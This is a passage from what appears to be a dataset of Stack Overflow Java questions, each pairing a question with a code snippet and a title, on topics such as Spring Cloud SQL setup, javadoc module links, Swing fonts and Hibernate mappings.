shown . Do you know any examples of something like that in Java or other languages ? thanks,class MyMath { public static double sqrt ( double d ) { //impl } },GUI from class definition +Java,"I have a list of parent objects where I want to count the occurrence of children objects . I know that I can use instanceof operator like shown below to count the occurrence of each object type . However , I wanted to use a HashMap instead of if-else branches . I try to create Map < ? extends Parent , Integer > but it did n't work . Any suggestions ?","class Parent { // parent class } class ChildA extends Parent { // child class } class ChildB extends Parent { // child class } class ChildC extends Parent { // child class } int countChildA = 0 ; int countChildB = 0 ; int countChildC = 0 ; for ( Parent child : children ) { if ( child instanceof ChildA ) { countChildA++ ; } else if ( child instanceof ChildB ) { countChildB++ ; } else if ( child instanceOf ChildC ) { countChildC++ ; } } // what I 'm looking forMap < ? extends Parent , Integer > map = new HashMap < > ( ) ; for ( Parent child : children ) { map.put ( child , child.getValue ( child ) ++ ) ; }",Creating map of children objects from parent objects +Java,"Today , I 'm trying to learn some features in Java 8 , specific about Lambda Expressions . I create a new Comaparator like this : When I read code inside Comparator interface , I have got confused . Althrough interface Comparator have two method compare ( ) and equals ( ) , we do n't need implement all of them . I had found some reason why we do n't need implement method equals ( ) here . But i also read in javadocs If your class claims to implement an interface , all methods defined by that interface must appear in its source code before the class will successfully compile . What Is an Interface ? So , can someone help me understand this ? Do not override equals ( ) is still legal ?","Comparator < String > strCom = new Comparator < String > ( ) { @ Override public int compare ( String o1 , String o2 ) { return 0 ; } } ;",Why do n't implement all method in interface Comparator ? +Java,I try to configure my Spring Boot application ( deployed on App Engine ) with my Google Cloud SQL instance for two days . But it does n't work.My current project config is like that : pom.xmlNote : Mysql connector java is in version 5.1.45 . So I use mysql-socket-factory.appengine-web.xmlapplication.propertiesNote : In application-dev.yml I use H2 instead and all works.And the error stacktrace at startup isThanks to all people that help me : ),"< dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-data-jpa < /artifactId > < /dependency > < dependency > < groupId > mysql < /groupId > < artifactId > mysql-connector-java < /artifactId > < /dependency > < ! -- For Google cloud sql -- > < dependency > < groupId > com.google.cloud.sql < /groupId > < artifactId > mysql-socket-factory < /artifactId > < version > 1.0.5 < /version > < /dependency > < ! -- For dev mode -- > < dependency > < groupId > com.h2database < /groupId > < artifactId > h2 < /artifactId > < scope > runtime < /scope > < /dependency > < appengine-web-app xmlns= '' http : //appengine.google.com/ns/1.0 '' > < threadsafe > true < /threadsafe > < runtime > java8 < /runtime > < sessions-enabled > true < /sessions-enabled > < service > default < ! -- SERVICE_BRANCH -- > < /service > < /appengine-web-app > spring.jpa.hibernate.ddl-auto=createspring.datasource.url=jdbc : mysql : //google/database_name ? useSSL=false & user=database_user & password=database_password & socketFactory=com.google.cloud.sql.mysql.SocketFactory & cloudSqlInstance=connection_name Failed startup of context c.g.a.r.j.AppEngineWebAppContext @ 35ba941e { / , file : ///base/data/home/apps/s~my-app-11/20180426t132854.409296784040581965/ , UNAVAILABLE } { /base/data/home/apps/s~my-app-11/20180426t132854.409296784040581965 } java.lang.RuntimeException : org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is org.hibernate.service.spi.ServiceException : Unable to create requested service [ org.hibernate.engine.jdbc.env.spi.JdbcEnvironment ] at org.eclipse.jetty.annotations.ServletContainerInitializersStarter.doStart ( ServletContainerInitializersStarter.java:68 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:68 ) at org.eclipse.jetty.servlet.ServletContextHandler.startContext ( ServletContextHandler.java:330 ) at org.eclipse.jetty.webapp.WebAppContext.startWebapp ( WebAppContext.java:1406 ) at org.eclipse.jetty.webapp.WebAppContext.startContext ( WebAppContext.java:1368 ) at org.eclipse.jetty.server.handler.ContextHandler.doStart ( ContextHandler.java:778 ) at org.eclipse.jetty.servlet.ServletContextHandler.doStart ( ServletContextHandler.java:262 ) at org.eclipse.jetty.webapp.WebAppContext.doStart ( WebAppContext.java:522 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:68 ) at com.google.apphosting.runtime.jetty9.AppVersionHandlerMap.createHandler ( AppVersionHandlerMap.java:244 ) at com.google.apphosting.runtime.jetty9.AppVersionHandlerMap.getHandler ( AppVersionHandlerMap.java:182 ) at com.google.apphosting.runtime.jetty9.JettyServletEngineAdapter.serviceRequest ( JettyServletEngineAdapter.java:97 ) at com.google.apphosting.runtime.JavaRuntime $ RequestRunnable.dispatchServletRequest ( JavaRuntime.java:680 ) at com.google.apphosting.runtime.JavaRuntime $ RequestRunnable.dispatchRequest ( JavaRuntime.java:642 ) at com.google.apphosting.runtime.JavaRuntime $ RequestRunnable.run ( JavaRuntime.java:612 ) at com.google.apphosting.runtime.JavaRuntime $ NullSandboxRequestRunnable.run ( JavaRuntime.java:806 ) at com.google.apphosting.runtime.ThreadGroupPool $ PoolEntry.run ( ThreadGroupPool.java:274 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is org.hibernate.service.spi.ServiceException : Unable to create requested service [ org.hibernate.engine.jdbc.env.spi.JdbcEnvironment ] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1710 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:583 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:502 ) at org.springframework.beans.factory.support.AbstractBeanFactory.lambda $ doGetBean $ 0 ( AbstractBeanFactory.java:312 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:228 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:310 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:200 ) at org.springframework.context.support.AbstractApplicationContext.getBean ( AbstractApplicationContext.java:1085 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:858 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:549 ) at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh ( ServletWebServerApplicationContext.java:140 ) at org.springframework.boot.SpringApplication.refresh ( SpringApplication.java:752 ) at org.springframework.boot.SpringApplication.refreshContext ( SpringApplication.java:388 ) at org.springframework.boot.SpringApplication.run ( SpringApplication.java:327 ) at org.springframework.boot.web.servlet.support.SpringBootServletInitializer.run ( SpringBootServletInitializer.java:155 ) at org.springframework.boot.web.servlet.support.SpringBootServletInitializer.createRootApplicationContext ( SpringBootServletInitializer.java:135 ) at org.springframework.boot.web.servlet.support.SpringBootServletInitializer.onStartup ( SpringBootServletInitializer.java:87 ) at org.springframework.web.SpringServletContainerInitializer.onStartup ( SpringServletContainerInitializer.java:172 ) at org.eclipse.jetty.plus.annotation.ContainerInitializer.callStartup ( ContainerInitializer.java:140 ) at org.eclipse.jetty.annotations.ServletContainerInitializersStarter.doStart ( ServletContainerInitializersStarter.java:63 ) ... 17 moreCaused by : org.hibernate.service.spi.ServiceException : Unable to create requested service [ org.hibernate.engine.jdbc.env.spi.JdbcEnvironment ] at org.hibernate.service.internal.AbstractServiceRegistryImpl.createService ( AbstractServiceRegistryImpl.java:271 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService ( AbstractServiceRegistryImpl.java:233 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure ( JdbcServicesImpl.java:51 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService ( StandardServiceRegistryImpl.java:94 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService ( AbstractServiceRegistryImpl.java:242 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.handleTypes ( MetadataBuildingProcess.java:352 ) at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.complete ( MetadataBuildingProcess.java:111 ) at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.metadata ( EntityManagerFactoryBuilderImpl.java:861 ) at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build ( EntityManagerFactoryBuilderImpl.java:888 ) at org.springframework.orm.jpa.vendor.SpringHibernateJpaPersistenceProvider.createContainerEntityManagerFactory ( SpringHibernateJpaPersistenceProvider.java:57 ) at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEntityManagerFactory ( LocalContainerEntityManagerFactoryBean.java:365 ) at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.buildNativeEntityManagerFactory ( AbstractEntityManagerFactoryBean.java:388 ) at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet ( AbstractEntityManagerFactoryBean.java:377 ) at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.afterPropertiesSet ( LocalContainerEntityManagerFactoryBean.java:341 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods ( AbstractAutowireCapableBeanFactory.java:1769 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1706 ) ... 36 moreCaused by : org.hibernate.HibernateException : Access to DialectResolutionInfo can not be null when 'hibernate.dialect ' not set at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect ( DialectFactoryImpl.java:100 ) at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect ( DialectFactoryImpl.java:54 ) at org.hibernate.engine.jdbc.env.internal.JdbcEnvironmentInitiator.initiateService ( JdbcEnvironmentInitiator.java:137 ) at org.hibernate.engine.jdbc.env.internal.JdbcEnvironmentInitiator.initiateService ( JdbcEnvironmentInitiator.java:35 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.initiateService ( StandardServiceRegistryImpl.java:88 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.createService ( AbstractServiceRegistryImpl.java:259 ) ... 53 more",Error when connecting Spring with Google Cloud SQL +Java,"The -link option on the javadoc command in java 10 is n't working consistently for me with modules.Specifically , it does n't work where a dependent module name is the same as the name of the package it exportsI run the following commandSo that is generating javadoc for two classes in package uk.co.sr.vcher.service , which are under src/service , and linking the docs to 5 other modules in my application , plus the jdk docsThe module jars I built are in app/ , external dependencies are in lib/Javadoc succeeds and generates the HTML . But the links to classes in some ( not all ) of other modules of my application are broken , missing the path directories of the package.What I 'm showing below is a piece of the HTML output for one constructor of uk.co.sr.vcher.service.ServiceImpl . It takes four parameters : a File , a ConnectionSource , a Coder , and an ApplicationConfigI 've taken out the link attached to ServiceImpl , and added some whitespace , for readability . It 's the links attached to the four parameter types that I 'm concerned with.the File is java.io.File and correctly links to docs.oracle.comthe ConnectionSource is uk.co.sr.vcher.db.ConnectionSource and while the tooltip shows the package correctly , and the link goes to the javadoc for the right module uk.co.sr.db , the link is wrong , as it does n't include the path of the packagethe Coder is uk.co.sr.vcher.Coder from module uk.co.sr.vcher.core . In this case the link is correct , to core/uk/co/sr/vcher/Coder.htmlthe ApplicationConfig , like the Coder , is from package uk.co.sr.vcher in module uk.co.sr.vcher.core , and the link is correct.Throughout my project , links to two modules are correct , but to all other modules are broken by missing the package path.I 've created the javadoc for each of my modules in the same way . They contain element-list files at their base , not package-list files . The uk.co.sr.vcher.service module depends on the uk.co.sr.vcher.db and uk.co.sr.vcher.core modules.As far as I can see , the difference between the modules which I can link to successfully and the ones that I ca n't are that the `` good '' ones are n't in subpackages of anything else . i.e . module uk.co.sr.vcher.db contains package uk.co.sr.vcher.db which is a subpackage of package uk.co.sr.vcher , which is contained in module uk.co.sr.vcher.core . But that is n't supposed to break anything.Update : I 've put a minimal example project -- three java classes , three modules -- that shows the same problem at https : //github.com/andrewmcguinness/javadoc_issueUpdate 2 : I pinned down the cause to the name of the package uk.co.sr.vcher.db being the same as the name of the module uk.co.sr.vcher.db . Changing the module name to uk.co.sr.vcher.pdb fixes it . I still want to know if this is a jdk bug or if I 'm doing something wrong .","/opt/jdk-10.0.1/bin/javadoc -html5 -subpackages uk.co.sr.vcher.service \ -- source-path src/service \ -- module-path lib : app -d javadoc/service \ -link ../auth -link ../db -link ../models \ -link ../core -link ../render \ -link https : //docs.oracle.com/javase/10/docs/api \ -linksource src/service/uk/co/sr/vcher/service/Service.java \ src/service/uk/co/sr/vcher/service/ServiceImpl.java \ src/service/module-info.java < span class= '' memberNameLink '' > ServiceImpl < /span > ( < a href= '' https : //docs.oracle.com/javase/10/docs/api/java/io/File.html ? is- external=true '' title= '' class or interface in java.io '' class= '' externalLink '' > File < /a > workDirectory , < a href= '' ../../../../../../db/ConnectionSource.html ? is- external=true '' title= '' class or interface in uk.co.sr.vcher.db '' class= '' externalLink '' > ConnectionSource < /a > db , < a href= '' ../../../../../../core/uk/co/sr/vcher/Coder.html ? is- external=true '' title= '' class or interface in uk.co.sr.vcher '' class= '' externalLink '' > Coder < /a > & nbsp ; coder , < a href= '' ../../../../../../core/uk/co/sr/vcher/ApplicationConfig.html ? is- external=true '' title= '' class or interface in uk.co.sr.vcher '' class= '' externalLink '' > ApplicationConfig < /a > config )",Linking between modules in javadoc +Java,"I found this as one of the ways to run ( using exec ( ) method ) python script from java . I have one simple print statement in python file . However , my program is doing nothing when I run it . It neither prints the statement written in python file nor throws an exception . The program just terminates doing nothing : Even this is not creating the output file : What is the issue ?",Process p = Runtime.getRuntime ( ) .exec ( `` C : \\Python\\Python36-32\\python.exe C : \\test2.py '' ) ; Process p = Runtime.getRuntime ( ) .exec ( `` C : \\Python\\Python36-32\\python.exe C : \\test2.py output.txt 2 > & 1 '' ) ;,Issue in calling Python code from Java ( without using jython ) +Java,"In Java6 both quicksort and mergesort were used in Arrays # sort , for primitive and object arrays respectively . In Java7 these have both changed , to DualPivotQuicksort and Timsort . In the source for the new quicksort , the following comment appears in a couple of places ( eg line 354 ) : How is this a performance issue ? Wo n't the compiler will reduce these to the same thing ? More broadly , what is a good strategy for investigating this myself ? I can run benchmarks , but I 'd be more interested in analysing any differences in the compiled code . However , I do n't know what tools to use etc .",/* * Here and below we use `` a [ i ] = b ; i++ ; '' instead * of `` a [ i++ ] = b ; '' due to performance issue . */,Java 7 sorting `` optimisation '' +Java,"So I got the Address class : And I want to get its readable version to , lets say , show in a grid column.Whats the best and concise way to implement this ? toString method inside class Address ( I personally do n't like this approach , as 'toString ' is not directly related to an Address ) class ReadableAddressFormatter ReadableAddressFormatter ( Address addressToFormat ) public String getFormatted ( ) Previous class but getFormmated would be static , receiving the Address instance and returning the stringOther ? Suggestions please.I 'm looking for a good design , focusing also in Clean Code , Decoupling and Maintainability .",class Address { private String streetAddress ; private int number ; private String postalCode ; private City city ; private State state ; private Country country ; },OO Design Advice - toString +Java,Is the below ( Java ) code legal ? It wo n't compile against JDK 6 but seems fine on 7+ . Did the spec change ? Was a bug fixed ? I 've been discussing at http : //bugs.eclipse.org/bugs/show_bug.cgi ? id=416950 and could go either way on this one .,class Test { Object foo ( ) { return `` '' ; } boolean bar ( ) { return foo ( ) == true ; } },When is it legal to compare Objects and primitives with '== ' operator ? +Java,"The Play + Java + CRUD Activator has the following route file , and I do n't understand what - > does in it .",# Routes # This file defines all application routes ( Higher priority routes first ) # ~~~~ # Home page # Home pageGET / controllers.Application.index ( ) # CRUD Controllers and REST API- > / play.crud.Routes,Play Framework : Arrow ( `` - > '' ) in routing +Java,"Following setup : Both variables represent IDs which are semantically equal . Since the application is for the mobile device , it is very important that the comparison of these variables is done in the most efficient way possible.Is it efficient to compare these variables with this snippet , or with this one ?",int a=3 ; String b= '' 3 '' ; boolean areEqual = Integer.parseInt ( b ) == a ; boolean areEqual = String.valueOf ( a ) .equals ( b ) ;,Is it More Efficient to Convert String to Int or Int to String When Checking for Equality ? +Java,"I 'm having an Person class with some Person and there details as there name , age band.The ageband interval is { `` 0-5 '' , `` 6-10 '' , `` 11-30 '' , '' 31-45 '' , `` 46-50 '' , '' 50-100 '' , `` 100-110 '' } ; I 'm having a Person class with name , ageBand String interval and it 's parameterised constructor , getters , setters.Here 's what I 'm doing with my code to sort the interval . I need to sort persons according to increasing intervals.I 'm using Treemap to sort the intervals.When I print interval keyset , I get Output : [ 0-5 , 100-110 , 11-30 , 31-45 , 46-50 , 50-100 , 6-10 ] Which I do n't need . I need intervals sorted like this : [ 0-5 , 6-10 , 11-30 , 31-45 , 46-50 , 50-100 , 100-110 ]","class Person { String name ; String ageBand ; //say it is string `` 0-50 '' which i pass in constructor while creating a person . //getters //setters } class TestAgeBand { public static void main ( String args [ ] ) { ArrayList < Person > person = new ArrayList < Person > ( ) ; Person p1 = new Person ( `` Mike1 '' , `` 0-5 '' ) ; Person p2 = new Person ( `` Mike2 '' , `` 6-10 '' ) ; Person p3 = new Person ( `` Mike3 '' , `` 11-30 '' ) ; Person p4 = new Person ( `` Mike4 '' , `` 31-45 '' ) ; Person p5 = new Person ( `` Mike5 '' , `` 50-100 '' ) ; Person p6 = new Person ( `` Mike6 '' , `` 46-50 '' ) ; Person p7 = new Person ( `` Mike7 '' , `` 100-110 '' ) ; person.add ( p1 ) ; //adding all persons to list . } } Map < String , Person > ageBandMap = new TreeMap < String , Person > ( ) { for ( Person p : person ) { ageBandMap.put ( p.ageBand , p.name ) ; } }",Sorting numeric String interval in java +Java,"I understand that the statement terminator symbol ; , if used solitarily , represents a null statement . Also , `` empty loop bodies '' can be a useful programming construct , and are made using null statements.Looking at the while statement below , on line # 2 , I decided to replace the terminating ; symbol , with a pair of back-to-back { } curly braces . The code compiled and ran OK . Does this mean that the Java compiler replaces an empty code block ( represented by the `` empty '' { } curly braces ) , with a ; based null statement ? If Java does something slightly different , would the resulting bytecode be identical in both cases ? ( I 'm sorry that I ca n't check this ATM . I 'm new to Java , and I do n't yet have the necessary knowledge to display and examine bytecode ) .","int i=0 , j=100 ; // Either a terminating ; symbol or { } braces work to make an `` empty loop body '' .while ( ++i < -- j ) { } System.out.println ( `` The midpoint between 0 and 100 is `` +i ) ; // Midpoint is 50 .",Any minor difference between ; or { } to represent a null statement ? +Java,"I have simple three classes : So , the order of execution during class instancing is C- > B- > A- > B- > C and all objects are instantiated correctly . Then , the question : CAN I in some way write a constructor for C class like this : The idea is to call the constructor from A class , not from immediate parent B . Is this possible ?",class A { public A ( int a ) { } } class B extends A { public B ( int b ) { super ( b ) ; } } class C extends B { public C ( int c ) { super ( c ) ; } } public C ( int c ) { super.super ( c ) ; },How to skip one level in inheritance calling super from grandparent in java ? +Java,"I am posting some data to a webservice here is the snippet : My IDE is complaining about : The exact statement being : Not a statement - Why is this happening , am I missing something here ? if I use : The IDE does not complain . For details here is my complete method :","try { response = UniversalHttpUrlConnection.postJSONObject ( ctx.getResources ( ) .getString ( R.string.delete_one ) , UniversalHashMapToJSONObjectParams.createObjectForParams ( deleteMap ) ) ; System.out.println ( `` Response from del task '' + response ) ; if ( response ! = null ) JSONObject jObj = new JSONObject ( response ) ; System.out.println ( `` Deletion '' + DatabaseHandler.getInstance ( ctx ) .removeReceipt ( receipt ) ) ; } catch ( JSONException report ) { report.printStackTrace ( ) ; } if ( response ! = null ) JSONObject jObj = new JSONObject ( response ) ; if ( response ! = null ) { JSONObject jObj = new JSONObject ( response ) ; } public static void deleteReceipt ( Receipt receipt , Context ctx ) { SessionManager sessionManager ; sessionManager = new SessionManager ( ctx ) ; HashMap < String , String > map = sessionManager.getUserDetails ( ) ; String email = map.get ( `` email '' ) ; if ( CheckConnection.isNetworkConnected ( ctx ) ) { System.out.println ( `` local id `` + receipt._id ) ; Receipt rec = DatabaseHandler.getInstance ( ctx ) .getReceipt ( receipt._id ) ; String webReceiptId = rec.web_receipt_id ; System.out.println ( `` WebReceipt ID = `` + webReceiptId ) ; if ( webReceiptId.equalsIgnoreCase ( `` dummy '' ) ) { // Delete from local System.out.println ( `` Deletion '' + DatabaseHandler.getInstance ( ctx ) .removeReceipt ( receipt ) ) ; } else { // delete from server // delete from local HashMap < String , String > deleteMap = new HashMap < > ( ) ; deleteMap.put ( `` email '' , email ) ; deleteMap.put ( `` type '' , `` Android '' ) ; deleteMap.put ( `` key '' , Utility.getencryptkey ( ) ) ; deleteMap.put ( `` task_id '' , webReceiptId ) ; deleteMap.put ( `` receipt_id '' , String.valueOf ( receipt._id ) ) ; String response = null ; try { response = UniversalHttpUrlConnection.postJSONObject ( ctx.getResources ( ) .getString ( R.string.delete_one ) , UniversalHashMapToJSONObjectParams.createObjectForParams ( deleteMap ) ) ; System.out.println ( `` Response from del task '' + response ) ; if ( response ! = null ) { JSONObject jObj = new JSONObject ( response ) ; } System.out.println ( `` Deletion '' + DatabaseHandler.getInstance ( ctx ) .removeReceipt ( receipt ) ) ; } catch ( JSONException report ) { report.printStackTrace ( ) ; } } } }",Why is this not a statement +Java,"Suppose we have a class called AccountService that manages the state of accounts.AccountService is defined asGiven this definition , what is the best way to implement transfer ( ) so that you can guarantee that transfer is an atomic operation.I 'm interested in answers that reference Java 1.4 code as well as answers that might use resources from java.util.concurrent in Java 5","interface AccountService { public void debit ( account ) ; public void credit ( account ) ; public void transfer ( Account account , Account account1 ) ; }",Best ways to write a method that updates two objects in a multithreaded java environment ? +Java,"Simple question . In Java 8 we have huge number of new methods in JDK classes . Say we have created such class , using Java 7 ( or Java 6 ) : This is quite reasonable implementation . Now we try to compile it with Java 8 and receive expectable compile error : Here I would like to arise 2 questions : Even with javac -source 1.7 -target 1.7 option using JDK 8 I receive same error - why ? I thought these options should allow compile legacy code.How about backward compatibility in general ? EDIT To be precise , may be I 'm doing something wrong ? JDK 1.8.0_65 , Mac OS X :","class MyArrayList < E > extends ArrayList < E > { public void sort ( Comparator < E > c ) { // some sort } } error : name clash : sort ( Comparator < E # 1 > ) in MyArrayList and sort ( Comparator < ? super E # 2 > ) in ArrayList have the same erasure , yet neither overrides the other public void sort ( Comparator < E > c ) { ^ where E # 1 , E # 2 are type-variables : E # 1 extends Object declared in class I.MyArrayList E # 2 extends Object declared in class ArrayList bash-3.2 $ javac -versionjavac 1.8.0_65bash-3.2 $ javac -source 1.7 -target 1.7 MyArrayList.java warning : [ options ] bootstrap class path not set in conjunction with -source 1.7MyArrayList.java:7 : error : name clash : sort ( Comparator < E # 1 > ) in MyArrayList and sort ( Comparator < ? super E # 2 > ) in ArrayList have the same erasure , yet neither overrides the other public void sort ( Comparator < E > c ) { ^ where E # 1 , E # 2 are type-variables : E # 1 extends Object declared in class MyArrayList E # 2 extends Object declared in class ArrayList1 error1 warning",Issue about java 8 backward compatibility : new methods in JDK +Java,"I have added the following in the findbugs exclude.xml file The code that needs to be ignored because Findbugs reports that But for some reason my findbugs are not getting ignored . and when I do following - The findbugs is getting ignored for the entire class but as soon as I introduce tag in between , findbugs stops getting ignored for that method . Can someone help me figure out why ?",< Match > < Class name= '' com.ebay.kernel.service.invocation.SvcInvocationConfig '' / > < Method name= '' getConnectionConfig '' / > < Bug pattern= '' IS2_INCONSISTENT_SYNC '' / > < /Match > public ConnectionConfig getConnectionConfig ( ) { return m_connectionConfig ; } m_connectionConfig suffers from ( inconsistent synchronization ) BUG - IS2_INCONSISTENT_SYNC < Match > < Class name= '' com.ebay.kernel.service.invocation.SvcInvocationConfig '' / > < Bug pattern= '' IS2_INCONSISTENT_SYNC '' / > < /Match > < Method name= '' getConnectionConfig '' >,Findbugs not excluding methods in our java application +Java,"I have two questions . Firstly , consider the below code.When I run this code it gives me below outputCan any one elaborate why INNER is null and execution flow at a time when exactly `` A '' & `` B '' added to collection ? Secondly , I made some changes in above code and modified to below one ( just put add method within first bracket ) After running above code i got below resultAfter viewing this I 'm totally clueless here about what is going on . Where did INNER go ? Why is it not printing ? Is it not called ?","public class Test { private static final List < String > var = new ArrayList < String > ( ) { { add ( `` A '' ) ; add ( `` B '' ) ; System.out.println ( `` INNER : `` + var ) ; } } ; public static void main ( String ... args ) { System.out.println ( `` OUTER : `` + var ) ; } } INNER : nullOUTER : [ A , B ] public class Test { private static final List < String > var = new ArrayList < String > ( ) { public boolean add ( String e ) { add ( `` A '' ) ; add ( `` B '' ) ; System.out.println ( `` INNER : `` + var ) ; return true ; } ; } ; public static void main ( String ... args ) { System.out.println ( `` OUTER : `` +var ) ; } } OUTER : [ ]",When did add ( ) method add object in collection +Java,"The native Windows LookAndFeel in Java 6 seems to incorrectly size some fonts.Test program : Output , compared with a native Windows app on Vista : While the text in the test app menu bar is sized correctly , the rest of the text is smaller than in the native app next to it . Zoomed in , you can see that the text in the test app JLabel is 1px shorter than in the native app : Is this a bug in the Windows LaF , or are we misusing it ? If it 's a bug , is there a known workaround ?","import java.awt . * ; import java.awt.event.KeyEvent ; import javax.swing . * ; public class Test { public static void main ( String [ ] arg ) throws Exception { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { try { UIManager.setLookAndFeel ( UIManager.getSystemLookAndFeelClassName ( ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } final JMenuBar mb = new JMenuBar ( ) ; final JMenu file = new JMenu ( `` File '' ) ; file.setMnemonic ( KeyEvent.VK_F ) ; mb.add ( file ) ; final JToolBar toolbar = new JToolBar ( ) ; final JButton button = new JButton ( `` Button '' ) ; toolbar.add ( button ) ; final JLabel label = new JLabel ( `` Basic Colors '' ) ; final JPanel panel = new JPanel ( new BorderLayout ( ) ) ; panel.add ( toolbar , BorderLayout.PAGE_START ) ; panel.add ( label , BorderLayout.CENTER ) ; final JFrame frame = new JFrame ( ) ; frame.setJMenuBar ( mb ) ; frame.add ( panel ) ; frame.setTitle ( `` Test '' ) ; frame.setSize ( 400,200 ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setVisible ( true ) ; } } ) ; } }",Why does Windows LookAndFeel make fonts too small ? +Java,"I set up a view in Java like above . The window is complete empty , but after I drag and drop its size , all the elements appear . Does somebody know how to fix this ?","frame_ref = new Frame ( `` Login '' ) ; mainPanel_ref = new Panel ( ) ; buttonPanel_ref = new Panel ( ) ; grid_ref = new GridLayout ( 4,2 ) ; frame_ref.setSize ( 300,120 ) ; frame_ref.setVisible ( true ) ; email_ref = new TextField ( ) ; password_ref = new JPasswordField ( ) ; mainPanel_ref.setLayout ( grid_ref ) ; mainPanel_ref.add ( new Label ( `` E-Mail '' ) ) ; mainPanel_ref.add ( email_ref ) ; mainPanel_ref.add ( new Label ( `` Passwort '' ) ) ; mainPanel_ref.add ( password_ref ) ; mainPanel_ref.add ( submitLogin_ref ) ; mainPanel_ref.add ( fehlerMeldung_ref ) ; frame_ref.add ( mainPanel_ref ) ;",GUI shows elements only after dragging window +Java,"I saw David Nolen 's talk on ClojureScript where he makes extends IFn to Regexp and so that we can call a regex literal as a fuinction on a string to check for matches.I tried something similar with Strings in regular Clojure , but I get this exception.I see that IFn is an interface written in Java but how does the implementation work in CLojrue front .",( extend-type java.lang.String # _= > clojure.lang.IFn # _= > ( -invoke # _= > ( [ this index ] # _= > ( get ( seq this ) index ) ) ) ) IllegalArgumentException interface clojure.lang.IFn is not a protocol clojure.core/extend ( core_deftype.clj:742 ),Why ca n't I extend Clojure 's IFn using extend-type ? +Java,"I have a question about code reordering and race conditions in Java.Assume I have the following code , with 2 or more threads simultaneously executing workForThread ( ) : Is it possible that the JVM could execute this in the wrong order ? For example , is the following reordering possible ? : Or is it guaranteed that the lock will not be reordered ?",public class Job { private Lock lock = new ReentrantLock ( ) ; private int sharedObject = 1 ; public void workForThread ( ) { lock.lock ( ) ; try { sharedObject++ ; } finally { lock.unlock ( ) ; } } } sharedObject++ ; lock.lock ( ) ; lock.unlock ( ) ;,Does Lock guarantee a happens-before relationship ? +Java,Here is an example : Do I need both .subscribeOn ( Schedulers.computation ( ) ) and .subscribeOn ( Schedulers.computation ( ) ) because they are for different Observables ?,"return ApiClient.getPhotos ( ) .subscribeOn ( Schedulers.io ( ) ) .map ( new Func1 < APIResponse < PhotosResponse > , List < Photo > > ( ) { @ Override public List < Photo > call ( CruiselineAPIResponse < PhotosResponse > response ) { //convert the photo entities into Photo objects List < ApiPhoto > photoEntities = response.getPhotos ( ) ; return Photo.getPhotosList ( photoEntities ) ; } } ) .subscribeOn ( Schedulers.computation ( ) )",If I am chaining multiple operators using RxJava do i need to call .subscribeOn ( ) for each of them ? +Java,"I can make a char for the upside down A just fine , but when I try to make the castle char it gets 3 compile errors . Why ?",class A { public static void main ( String [ ] args ) { char a = '∀ ' ; System.out.println ( a ) ; char castle = `` ; System.out.println ( castle ) ; } } $ javac A.java & & java AA.java:5 : unclosed character literal char castle = `` ; ^A.java:5 : illegal character : \57159 char castle = `` ; ^A.java:5 : unclosed character literal char castle = `` ; ^3 errors,Why ca n't I make a char bound to the unicode castle character in Java ? +Java,"When we save an object in Hibernate then we save the dependent object not as an id but with loading that object and saving it.Ex : Employee has a department foreign key , so if we need to save the employee object then we will do something like : Now in case we import 1000 records and there we have deptid as a separate column in excel , then unnecessary 1000 times db will be called to fetch respective department.Any better way to do this thenIs it possible to have foreign key enforced without object-to-object mapping ?","saveEmployee { emp.setName ( name ) ; Department department = session.find ( Department.class , deptid ) ; emp.setDepartment ( department ) ; }",Save hibernate object with foreign key without loading the dependent object 